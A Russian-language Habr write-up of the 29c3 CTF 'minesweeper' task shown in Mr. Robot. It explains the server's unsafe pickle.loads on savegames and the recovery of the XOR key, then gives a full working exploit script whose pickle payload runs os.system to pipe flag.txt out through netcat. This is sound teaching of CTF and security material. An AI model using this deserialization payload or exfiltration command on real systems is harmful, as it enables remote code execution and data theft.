Искусство эксплойта минных полей: Разбираем CTF-таск про игру в Сапёра из «Мистера Робота»

    image

    Здравствуйте, хабродамы и хаброгоспода!

    Recently попался мне случайно на глаза один эпизод из недавно модного сериала «Мистер Робот». Не будучи сильно знакомым с проектом, я всё же знал о связанной с ним массивной пиар-кампании (которая вроде как даже проводила нечто вроде ARG-мероприятий), поэтому когда я услышал условие занимательного CTF-таска (из жанра bin/exploitation), представленного в сюжете одной из серий, я подумал, что скорее всего, этот таск существовал в действительности. Обратившись ко всемирной паутине, я подтвердил своё предположение, и, так как задача не очень сложная (не успеет наскучить в рамках одной хабростатьи), но крайне оригинальная и интересная, сегодня займемся её разбором.
    Cut, cut, cut!

    Превью


    В кратце о том, как это выглядело с экранов ТВ: в одном эпизоде (3-й сезон, 1-я серия, ~ 20:20-22:50) перед зрителем предстает «подпольное хакерское заведение», aka изрисованный анархистским граффи́ти чулан, забитый тучей компьютеров, километрами жёлтых патч-кордов и несколькими киберпанк-like азиатами. Здесь, в окружении неонового вейп-пара и калейдоскопа кислотно-зелёных букв на аспидно-чёрных фонах терминалов машин, накалился самый разгар страстей CTF-соревнования. ГГ подходит к одному из участников, который жалуется ему, что не может справиться с одним из тасков, ГГ за 25 секунд объясняет ему все тайны задачи, даже не взглянув на монитор, ГГ выбивает флаг. Конец.

    Теперь о самом таске: это реальная задача на исследование исходного кода, стоящая 100 очков (самый минимум, хе-хе), которая засветилась в «29c3 CTF» (2012 г.). Для ее решения нам понадобятся: 1 часть знаний базовой криптографии и 2 части знания Пайтона (одна, чтобы в pickle.loads() увидеть уязвимость внедрения шеллкода, другая, чтобы написать пару-тройку строк эксплойта).

    Для начала рассмотрим условие.

    Условие


    Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024
    <хттп://и_тут_сайт_с_исходником/minesweeper.py>

    Вольный перевод от автора:
    Надоело реверсить? Отвлекись немного и сыграй в нашу игрульку, а если захочешь, можешь даже сейвануться, чтобы потом продолжить, где остановился! XX.XX.XX.XX:1024
    <хттп://и_тут_сайт_с_исходником/minesweeper.py>

    Исходный код, поставляемый в комплекте с таском, прячется под спойлером:
    minesweeper.py
    #!/usr/bin/env python
    import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
    
    def load_encrypt_key():
    	try:
    		f = open('encrypt_key.bin', 'r')
    		try:
    			encrypt_key = f.read(4096)
    			if len(encrypt_key) == 4096:
    				return encrypt_key
    		finally:
    			f.close()
    	except:
    		pass
    		
    	rand = random.SystemRandom()
    	encrypt_key = ""
    	for i in xrange(0, 4096):
    		encrypt_key += chr(rand.randint(0,255))
    
    	try:
    		f = open('encrypt_key.bin', 'w')
    		try:
    			f.write(encrypt_key)
    		finally:
    			f.close()
    	except:
    		pass
    	
    	return encrypt_key
    
    class Field:
    	def __init__(self, w, h, mines):
    		self.w = w
    		self.h = h
    		self.mines = set()
    		while len(self.mines) < mines:
    			y = random.randint(0, h - 1)
    			x = random.randint(0, w - 1)
    			self.mines.add((y, x))
    		self.mines = sorted(self.mines)
    		self.opened = []
    		self.flagged = []
    
    	def calc_num(self, point):
    		n = 0
    		for y in xrange(point[0] - 1, point[0] + 2):
    			for x in xrange(point[1] - 1, point[1] + 2):
    				p = (y, x)
    				if p != point and p in self.mines:
    					n += 1
    		return n
    
    	def open(self, y, x):
    		point = (int(y), int(x))
    		if point[0] < 0 or point[0] >= self.h:
    			return (True, "Illegal point")
    		if point[1] < 0 or point[1] >= self.w:
    			return (True, "Illegal point")
    		if point in self.opened:
    			return (True, "Already opened")
    		if point in self.flagged:
    			return (True, "Already flagged")
    		bisect.insort(self.opened, point)
    		if point in self.mines:
    			return (False, "You lose")
    		if len(self.opened) + len(self.mines) == self.w * self.h:
    			return (False, "You win")
    		if self.calc_num(point) == 0:
    			#open everything around - it can not result in something bad
    			self.open(y-1, x-1)
    			self.open(y-1, x)
    			self.open(y-1, x+1)
    			self.open(y, x-1)
    			self.open(y, x+1)
    			self.open(y+1, x-1)
    			self.open(y+1, x)
    			self.open(y+1, x+1)
    		return (True, None)
    
    	def flag(self, y, x):
    		point = (int(y), int(x))
    		if point[0] < 0 or point[0] >= self.h:
    			return "Illegal point"
    		if point[1] < 0 or point[1] >= self.w:
    			return "Illegal point"
    		if point in self.opened:
    			return "Already opened"
    		if point in self.flagged:
    			self.flagged.remove(point)
    		else:
    			bisect.insort(self.flagged, point)
    		return None
    
    	def load(self, data):
    		self.__dict__ = pickle.loads(data)
    
    	def save(self):
    		return pickle.dumps(self.__dict__, 1)
    
    	def write(self, stream):
    		mine = 0
    		open = 0
    		flag = 0
    		screen = "  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n"
    		for y in xrange(0, self.h):
    			have_mines = mine < len(self.mines) and self.mines[mine][0] == y
    			have_opened = open < len(self.opened) and self.opened[open][0] == y
    			have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
    			screen += chr(0x30 | (y % 10)) + "|"
    			for x in xrange(0, self.w):
    				is_mine = have_mines and self.mines[mine][1] == x
    				is_opened = have_opened and self.opened[open][1] == x
    				is_flagged = have_flagged and self.flagged[flag][1] == x
    				assert(not (is_opened and is_flagged))
    				if is_mine:
    					mine += 1
    					have_mines = mine < len(self.mines) and self.mines[mine][0] == y
    				if is_opened:
    					open += 1
    					have_opened = open < len(self.opened) and self.opened[open][0] == y
    					if is_mine:
    						c = "*"
    					else:
    						c = ord("0")
    						#check prev row
    						for m in xrange(mine - 1, -1, -1):
    							if self.mines[m][0] < y - 1:
    								break
    							if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1):
    								c += 1
    						#check left & right
    						if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1:
    							c += 1
    						if have_mines and self.mines[mine][1] == x + 1:
    							c += 1
    						#check next row
    						for m in xrange(mine, len(self.mines)):
    							if self.mines[m][0] > y + 1:
    								break
    							if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1):
    								c += 1
    						c = chr(c)
    				elif is_flagged:
    					flag += 1
    					have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
    					c = "!"
    				else:
    					c = " "
    				screen += c
    			screen += "|" + chr(0x30 | (y % 10)) + "\n"
    		screen += " +" + ("-" * self.w) + "+\n  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n"
    		stream.send(screen)
    
    sock = socket.socket()
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', 1024))
    sock.listen(10)
    
    signal.signal(signal.SIGCHLD, signal.SIG_IGN)
    
    encrypt_key = load_encrypt_key()
    
    while 1:
    	client, addr = sock.accept()
    	if os.fork() == 0:
    		break
    	client.close()
    sock.close()
    
    f = Field(16, 16, 20)
    
    re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
    re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
    def handle(line):
    	if len(line) < 1:
    		return (True, None)
    	if len(line) == 1 and line[0] in "qxQX":
    		return (False, "Bye")
    	global f
    	if line[0] in "foFO":
    		m = re_pos.match(line)
    		if m is None:
    			return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
    		x,y = m.groups()
    		x = int(x)
    		y = int(y)
    		if line[0] in "oO":
    			return f.open(y,x)
    		else:
    			return (True, f.flag(y,x))
    	elif line[0] in "lL":
    		m = re_save.match(line)
    		if m is None:
    			return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
    		msg = base64.standard_b64decode(m.group(1))
    		tmp = ""
    		for i in xrange(0, len(msg)):
    			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    		msg = tmp
    		if msg[0:9] != "4n71cH3aT":
    			return (True, "Unable to load savegame (magic)")
    		h = hashlib.sha1()
    		h.update(msg[9+h.digest_size:])
    		if msg[9:9+h.digest_size] != h.digest():
    			return (True, "Unable to load savegame (checksum)")
    		try:
    			f.load(msg[9+h.digest_size:])
    		except:
    			return (True, "Unable to load savegame (exception)")
    		return (True, "Savegame loaded")
    	elif len(line) == 1 and line[0] in "sS":
    		msg = f.save()
    		h = hashlib.sha1()
    		h.update(msg)
    		msg = "4n71cH3aT" + h.digest() + msg
    		tmp = ""
    		for i in xrange(0, len(msg)):
    			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    		msg = tmp
    		return (True, "Your savegame: " + base64.standard_b64encode(msg))
    	#elif len(line) == 1 and line[0] in "dD":
    	#	return (True, repr(f.__dict__)+"\n")
    	else:
    		return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
    
    data = ""
    while 1:
    	f.write(client)
    	while 1:
    		pos = data.find("\n")
    		if pos != -1:
    			cont, msg = handle(data[0:pos])
    			if not cont:
    				if msg is not None:
    					client.send(msg + "\n")
    				f.write(client)
    				client.close()
    				sys.exit(0)
    			if msg is not None:
    				client.send(msg + "\n")
    			data = data[pos+1:]
    			break
    		new_data = client.recv(4096)
    		if len(new_data) == 0:
    			sys.exit(0)
    		data += new_data
    


    В действительности же мы имеем тривиальное клиент-серверное приложение, которое «играет» с тобой в Сапёра. Прилагаемый исходник крутится на сервере, доступ к которому у участников есть только через скромный cli-интерфейс netcat'а — клиентской стороны игры. Как следствие, для получения флага игроку нужно найти слабое место в реализации самопального Сапёра, чтобы получить доступ к файловой системе сервера (очевидно, что флаг там, где ж ему ещё быть).

    Пора покопаться в чужих исходниках…

    Исследование исходного кода


    import pickle


    Как уже было сказано, человек, обладающей щепоткой знаний стандартной библиотеки Пайтона, увидит один из векторов исследования уже на второй строке файла с исходным текстом:

    import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
    

    В программе используется модуль pickle, а значит, скорее всего (памятуя о предоставленной возможности сохранять и загружать состояние игры), мы увидим вызов метода piclke.loads(), который, как известно, уязвим к выполнению произвольного кода.

    Теория говорит нам, что библиотека pickle (от англ. «засолить») используется для сериализации и десериализации объектов Пайтона, т. е. для соответственно сохранения состояния объектов в виде битовых последовательностей (по определённому алгоритму — протоколу) с целью их долговременного хранения в файлах на ЖД, передачи по сети и т. п., и восстановления этого состояния из всё той же битовой последовательности для дальнейшего использования в теле программы. НО, также, теория (от лица документации Питона) нас вежливо предупреждает жирными буквами на красном фоне о том, что мы должны быть уверены в надёжности данных, которые мы десериализируем, чтобы не стать жертвой выполнения специально созданного файла с вредоносной нагрузкой, который может сильно подпортить нам жизнь.

    Запомним этот момент и пойдём дальше по коду.

    load_encrypt_key()


    def load_encrypt_key():
    	try:
    		f = open('encrypt_key.bin', 'r')
    		try:
    			encrypt_key = f.read(4096)
    			if len(encrypt_key) == 4096:
    				return encrypt_key
    		finally:
    			f.close()
    	except:
    		pass
    		
    	rand = random.SystemRandom()
    	encrypt_key = ""
    	for i in xrange(0, 4096):
    		encrypt_key += chr(rand.randint(0,255))
    
    	try:
    		f = open('encrypt_key.bin', 'w')
    		try:
    			f.write(encrypt_key)
    		finally:
    			f.close()
    	except:
    		pass
    	
    	return encrypt_key
    

    Сразу же видим функцию с пугающим названием load_encrypt_key(), что наводит на мысль, что у игры будет метод проверки/подписи чего-либо (сохранённых данных?) секретным ключом, хранящемся на сервере.

    Функция делает ни что иное, как загружает секретный ключ: если он существует, то сервер забирает его из файла encrypt_key.bin, иначе такой файл генерируется и забивается случайными однобайтовыми значениями. Размер секретного ключа: 4096 байт. Запомнили, идём дальше.

    class Field


    Далее следует класс, который описывает поле для игры в Сапёра:
    class Field:
    	def __init__(self, w, h, mines):
    		self.w = w
    		self.h = h
    		self.mines = set()
    		while len(self.mines) < mines:
    			y = random.randint(0, h - 1)
    			x = random.randint(0, w - 1)
    			self.mines.add((y, x))
    		self.mines = sorted(self.mines)
    		self.opened = []
    		self.flagged = []
    
    	def calc_num(self, point):
    		# ...
    
    	def open(self, y, x):
    		# ...
    		
    	def flag(self, y, x):
    		# ...
    
    	def load(self, data):
    		self.__dict__ = pickle.loads(data)
    
    	def save(self):
    		return pickle.dumps(self.__dict__, 1)
    
    	def write(self, stream):
    		# ...
    

    Я намеренно оставил только то, что заслуживает нашего внимания, а именно: конструктор, описывающий поля́ по́ля Field (w — ширина, h — высота, mines — список с координатами мин [генерируются случайно] и списки с координатами открытых и разминированных ячеек — opened и flagged соответственно), а также методы загрузки и сохранения игры.

    Наше предположение оказалось верным — piclke.loads() и правда используется для загрузки игры. Как это происходит: метод Field.save() загоняет состояние поля в последовательность бит (по протоколу 1 метода pickle.dumps()), а метод Field.load() восстанавливает эту последовательность по просьбе игрока, возвращая ему тот момент игрового процесса, на котором он остановился.

    Методы, в которых опущено описание, являются непосредственными составляющими реализации самого игрового процесса и не содержат информации, которая бы оказалась полезна хакеру исследователю безопасности. Названия отражают их предназначения.

    Инициализация соединения


    Дальше мы видим кусок кода для установления соединения между клиентом и сервером, загрузку секретного ключа и создание экземпляра класса Field, размером 16x16 и с количеством мин, равным 20:
    sock = socket.socket()
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', 1024))
    sock.listen(10)
    
    signal.signal(signal.SIGCHLD, signal.SIG_IGN)
    
    encrypt_key = load_encrypt_key()
    
    while 1:
    	client, addr = sock.accept()
    	if os.fork() == 0:
    		break
    	client.close()
    sock.close()
    
    f = Field(16, 16, 20)
    

    Замечу, что поиграть в Сапёра можно и при наличии только одного ПК.
    Минутка ПАРАНОЙИ: выполнение действия ниже равносильно открытию порта с уязвимым на получение шелла приложением, поэтому, если порт доступен извне, решившим потестить скрипт рекомендуется сменить интерфейс для bind'а с 0.0.0.0 на 127.0.0.1.

    Если запустить программу в одном окне терминала, а в другом прописать $ nc 0.0.0.0 1024, эффект будет такой же, как при игре с удаленным сервером.

    Что ж, давайте так и поступим. Так как вывод объёмный, результат под спойлером:
    Пробное соединение
    image

    Что мы имеем:
    1. После первого ввода символа «h» (хотел немного хелпы), нам стал доступен список команд: o, f, q, x, l, s. Чуть позже мы узнаем, что o — open (открыть ячейку), f — flag (разминировать ячейку), q — quit (выйти из игры), x — exit (выйти из игры), l — load (загрузить игру), s — save (сохранить игру).
    2. Вывод команды save идет в виде base64-строки.
    3. Ввод для команды load также должен представлять из себя base64-строку.

    Замечательно! Вернёмся к коду.

    handle()


    Мы дошли до самой интересной части — функции обработки пользовательского ввода:
    handle()
    re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
    re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
    def handle(line):
    	if len(line) < 1:
    		return (True, None)
    	if len(line) == 1 and line[0] in "qxQX":
    		return (False, "Bye")
    	global f
    	if line[0] in "foFO":
    		m = re_pos.match(line)
    		if m is None:
    			return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
    		x,y = m.groups()
    		x = int(x)
    		y = int(y)
    		if line[0] in "oO":
    			return f.open(y,x)
    		else:
    			return (True, f.flag(y,x))
    	elif line[0] in "lL":
    		m = re_save.match(line)
    		if m is None:
    			return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
    		msg = base64.standard_b64decode(m.group(1))
    		tmp = ""
    		for i in xrange(0, len(msg)):
    			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    		msg = tmp
    		if msg[0:9] != "4n71cH3aT":
    			return (True, "Unable to load savegame (magic)")
    		h = hashlib.sha1()
    		h.update(msg[9+h.digest_size:])
    		if msg[9:9+h.digest_size] != h.digest():
    			return (True, "Unable to load savegame (checksum)")
    		try:
    			f.load(msg[9+h.digest_size:])
    		except:
    			return (True, "Unable to load savegame (exception)")
    		return (True, "Savegame loaded")
    	elif len(line) == 1 and line[0] in "sS":
    		msg = f.save()
    		h = hashlib.sha1()
    		h.update(msg)
    		msg = "4n71cH3aT" + h.digest() + msg
    		tmp = ""
    		for i in xrange(0, len(msg)):
    			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    		msg = tmp
    		return (True, "Your savegame: " + base64.standard_b64encode(msg))
    	#elif len(line) == 1 and line[0] in "dD":
    	#	return (True, repr(f.__dict__)+"\n")
    	else:
    		return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
    


    Опять же, рассмотрим только значимые моменты. Начнём с той части, которая отвечает за сохранение игры:

    elif len(line) == 1 and line[0] in "sS":
    	msg = f.save()
    	h = hashlib.sha1()
    	h.update(msg)
    	msg = "4n71cH3aT" + h.digest() + msg
    	tmp = ""
    	for i in xrange(0, len(msg)):
    		tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    	msg = tmp
    	return (True, "Your savegame: " + base64.standard_b64encode(msg))
    

    Сохранение происходит в 4 этапа:
    1. msg = f.save() — сохраняем дамп текущего состояния поля Field.
    2. h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg — берём sha1-хеш от полученного сообщения и производим операцию конкатенации: хеш вместе с солью (строкой "4n71cH3aT") добавляется в начало сообщения.
    3. for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) — подписываем сообщение: xor'им каждый байт сообщения с очередным байтом секретного ключа.
    4. return (True, "Your savegame: " + base64.standard_b64encode(msg)) — возвращаем base64-строку от подписанного сообщения. Это и есть наш сейв.

    Рассмотрим загрузку:
    elif line[0] in "lL":
    	m = re_save.match(line)
    	if m is None:
    		return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
    	msg = base64.standard_b64decode(m.group(1))
    	tmp = ""
    	for i in xrange(0, len(msg)):
    		tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    	msg = tmp
    	if msg[0:9] != "4n71cH3aT":
    		return (True, "Unable to load savegame (magic)")
    	h = hashlib.sha1()
    	h.update(msg[9+h.digest_size:])
    	if msg[9:9+h.digest_size] != h.digest():
    		return (True, "Unable to load savegame (checksum)")
    	try:
    		f.load(msg[9+h.digest_size:])
    	except:
    		return (True, "Unable to load savegame (exception)")
    	return (True, "Savegame loaded")
    

    Загрузка происходит по аналогичному алгоритму, но в обратном порядке:
    1. Декодируем base64-строку.
    2. Опять применяем операцию xor для получения исходного сообщения.
    3. Избавляемся от соли-префикса "4n71cH3aT".
    4. Сравниваем имеющийся хеш сообщения с вновь посчитанным: если совпало, то успешно — return (True, "Savegame loaded"), иначе, ошибка контрольной суммы — return (True, "Unable to load savegame (checksum)").

    Анализ кода завершён, дальше следует основной цикл взаимодействия «клиент-сервер», не представляющий для нас интереса.

    Планирование атаки


    Итак, мы обладаем всей необходимой информацией для написания эксплойта.

    Примерный план таков: создать вредоносный файл сохранения с внедрённым пейлоадом на выполнение желаемого шеллкода и скормить его серверу, тем самым заставив его выполнить непредусмотренное создателем игры действие. Наша главная задача в этой ситуации — извлечь секретный ключ сервера (часть секретного ключа, если быть точным: в нашем случае поле маленькое, и все 4096 байт ключа не используются) для подписи своего сохранения. Для этого ещё раз обратимся к следующим строкам метода сохранения игры:
    msg = f.save()
    h = hashlib.sha1()
    h.update(msg)
    msg = "4n71cH3aT" + h.digest() + msg
    tmp = ""
    for i in xrange(0, len(msg)):
    	tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
    

    Используемый шифр — тривиальный xor-шифр, следовательно, зная ВСЕ составляющие уравнения кроме секретного ключа, мы легко сможем извлечь и его, просто прогнав xor ещё раз:

    $Save = (Prefix || Sha1(Dump(Field)) || Dump(Field)) \oplus Key,$

    $Key = (Prefix || Sha1(Dump(Field)) || Dump(Field)) \oplus Save,$

    где $||$ — операция конкатенации.

    Из этого у нас есть: Save (который игра разрешает получить) и Prefix ("4n71cH3aT"). Осталось разобраться с Field. Чтобы трюк прокатил, необходимо, чтобы наш (фальшивый) экземпляр Field в точности совпадал с экземпляром на сервере, т. к. в нашем случае pickle.dumps() сериализирует словарь, содержащий поля экземпляра Field с их значениями.

    Вспомним, из чего состоит Field:
    class Field:
    	def __init__(self, w, h, mines):
    		self.w = w
    		self.h = h
    		self.mines = set()
    		while len(self.mines) < mines:
    			y = random.randint(0, h - 1)
    			x = random.randint(0, w - 1)
    			self.mines.add((y, x))
    		self.mines = sorted(self.mines)
    		self.opened = []
    		self.flagged = []
    

    Ширина, высота известны, списки с открытыми и разминированными ячейками проще всего вообще оставить пустыми (сохранившись в самом начале игры, не сделав ни одного хода); остаются координаты мин. Единственным решением становится прохождение игры для формирования списка с такими координатами.

    Никогда не любил Сапёра, но, чтобы всё было честно, пронаблюдать мое прохождение можно под спойлером:
    Как я в Сапёра играл
    Примечание: при выполнении команды o или f сначала указывается столбец, потом строка; например команда o3,15 открывает ячейку с координатами (15, 3).

    image

    В результате получили такой массив из мин:
    mines = [ (1, 12), (1, 14), (2, 10),  (2, 12),
              (2, 14),  (3, 6),  (4, 0),  (4, 15),
               (5, 2), (8, 12), (8, 13),  (8, 14),
              (10, 5), (10, 9), (11, 7), (11, 11),
              (13, 2), (13, 9), (14, 3), (14, 15) ]
    

    Теперь, подключимся к Сапёру ещё раз для получения «пустого» сохранения:
    image

    Пишем эксплойт


    Для начала нам понадобится фейковое поле, в котором мы сразу же для удобства реализуем метод dump():
    class FieldFake:
    	def __init__(self, w, h, mines):
    		self.w = w
    		self.h = h
    		self.mines = sorted(set(mines))
    		self.opened = []
    		self.flagged = []
    
    	def dump(self):
    		return pickle.dumps(self.__dict__, protocol=1)
    

    Напишем функцию получения посоленного хеша, соединённого с сообщением и функцию xor-шифрования:
    def gamehash(gamepickle):
    	h = hashlib.sha1()
    	h.update(gamepickle)
    	return '4n71cH3aT' + h.digest() + gamepickle
    
    def crypt(plain, key):
    	return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
    

    Напишем функтор для генераци пейлоада. На вход будет подаваться желаемая команда, которую должен выполнить сервер, на выходе получим готовый шеллкод, пригодный для внедрения во вредоносное сохранение:
    class Payload(object):
    	def __init__(self, cmd):
    		self.cmd = cmd
    	def __reduce__(self):
    		import os
    		return (os.system, (self.cmd,))
    

    Дело за малым — пишем main():
    def main():
    	# Подписанное "пустое" сохранение, сделанное в начале игры
    	encrypted = base64.standard_b64decode('Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \
                                                  'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \
                                                  'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \
                                                  'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \
                                                  'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \
                                                  '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \
                                                  'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \
                                                  'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \
                                                  '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \
                                                  'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \
                                                  'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \
                                                  'Mp0Q==')
    	
    	# Фейковое поле, инициализированное необходимыми данными
    	reconstructed = FieldFake(16,
                                      16,
                                      [ (1, 12), (1, 14), (2, 10),  (2, 12),
                                        (2, 14),  (3, 6),  (4, 0),  (4, 15),
                                         (5, 2), (8, 12), (8, 13),  (8, 14),
                                        (10, 5), (10, 9), (11, 7), (11, 11),
                                        (13, 2), (13, 9), (14, 3), (14, 15)] )
    	
    	# Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение)
    	unencrypted = gamehash(reconstructed.dump())
    
    	# Извлекаем часть ключа
    	part_of_key = crypt(unencrypted, encrypted)
    
    	# Генерируем шеллкод
    	evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234'))
    
    	# Кодируем base64. Сейв готов!
    	evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key))
    
    	print evilsave
    

    Можно было бы придумать что-то более оригинальное (вплоть до получения шелла), но для простоты демонстрации в качестве команды выберем простой cat для вывода на localhost по порту 1234 в sdout содержимое файла flag.txt, который по нашему предположению находился бы в том же каталоге на сервере, откуда был запущен скрипт (в нашем случае его туда нужно сначала положить ;) ).

    Собираем воедино и проверяем работу:
    evilsave.py
    #!/usr/bin/env python
    # -*- coding: UTF-8 -*-
    
    import hashlib, base64, pickle
    
    class FieldFake:
    	def __init__(self, w, h, mines):
    		self.w = w
    		self.h = h
    		self.mines = sorted(set(mines))
    		self.opened = []
    		self.flagged = []
    
    	def dump(self):
    		return pickle.dumps(self.__dict__, protocol=1)
    
    class Payload(object):
    	def __init__(self, cmd):
    		self.cmd = cmd
    	def __reduce__(self):
    		import os
    		return (os.system, (self.cmd,))
    
    def gamehash(gamepickle):
    	h = hashlib.sha1()
    	h.update(gamepickle)
    	return '4n71cH3aT' + h.digest() + gamepickle
    
    def crypt(plain, key):
    	return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
    
    def main():
    	# Подписанное "пустое" сохранение, сделанное в начале игры
    	encrypted = base64.standard_b64decode('Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \
                                              'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \
                                              'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \
                                              'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \
                                              'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \
                                              '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \
                                              'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \
                                              'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \
                                              '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \
                                              'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \
                                              'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \
                                              'Mp0Q==')
    	
    	# Экземпляр фейкового поля, инициализованный необходимыми данными: размеры и список с минами
    	reconstructed = FieldFake(16,
                                      16,
                                      [ (1, 12), (1, 14), (2, 10),  (2, 12),
                                        (2, 14),  (3, 6),  (4, 0),  (4, 15),
                                         (5, 2), (8, 12), (8, 13),  (8, 14),
                                        (10, 5), (10, 9), (11, 7), (11, 11),
                                        (13, 2), (13, 9), (14, 3), (14, 15)] )
    	
    	# Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение)
    	unencrypted = gamehash(reconstructed.dump())
    
    	# Извлекаем часть ключа
    	part_of_key = crypt(unencrypted, encrypted)
    
    	# Генерируем шеллкод
    	evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234'))
    
    	# Кодируем base64. Сейв готов!
    	evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key))
    
    	print evilsave
    
    if __name__ == '__main__':
    	main()
    


    И несмотря на то, что нам написали предупреждение "Unable to load savegame (exception)" (генератором которого, стало брошенное pickle.loads()'ом исключение)…
    image

    … в соседнем окне терминала (также на «клиентской» стороне) мы смогли получить содержимое файла flag.txt, ура, ура:
    image

    Заключение


    Таск очень красив и оригинален (к тому же, по моему мнению, он хорошо демонстрирует педантичную изящность и многофункциональность Пайтона), но вполне прост, если разобраться, что к чему (не даром за него всего 100 очков давали), в связи с этим не совсем понятно, что вызвало такие трудности у участников соревнования по сюжету сериала. Однако, его решение главным героем < чем за пол минуты без скролла исходника действительно выше всяких похвал, нужно было ему задачу о равенстве P и NP подсунуть — при таком подходе всё равно ведь, что решать J

    Сериализируйте только проверенные данные, используйте стойкое шифрование, играйте в хорошие игры и не плодите «злых» сохранений.

    Всем любви!
    image

    Интересные ссылки


    1. CTFtime.org / 29c3 CTF / minesweeper — ctftime.org/task/193
    2. Mr.Robot.S03. Как новый сезон «Мистера Робота» радовал фанатов пасхалками и хакерскими играми — «Хакер» — xakep.ru/2018/01/29/mrrobot-s03
    3. Cryptic python «minesweeper» challenge: MrRobot — reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge
    • +17
    • 8,6k
    • 5
    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну, и что?
    Реклама
    Комментарии 5
    • 0
      Я не смотрел сериал, но, возможно, он просто вспомнил её, как вспомню я или вы, прочитав статью?
      • 0
        Да я же не возражаю, смотрится эффектно, и пускай)
        • 0

          Да нет, там в каждой серии так. Все программы и скриншоты подлинные, но гг угадввает пароли макимум со второй попытки.

        • 0
          Минутка ПАРАНОЙИ: выполнение действия ниже равносильно открытию порта с уязвимым на получение шелла приложением, так что take care.

          Параноикам можно посоветовать bind'ить сокет не на все интерфейсы (0.0.0.0), а на 127.0.0.1

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое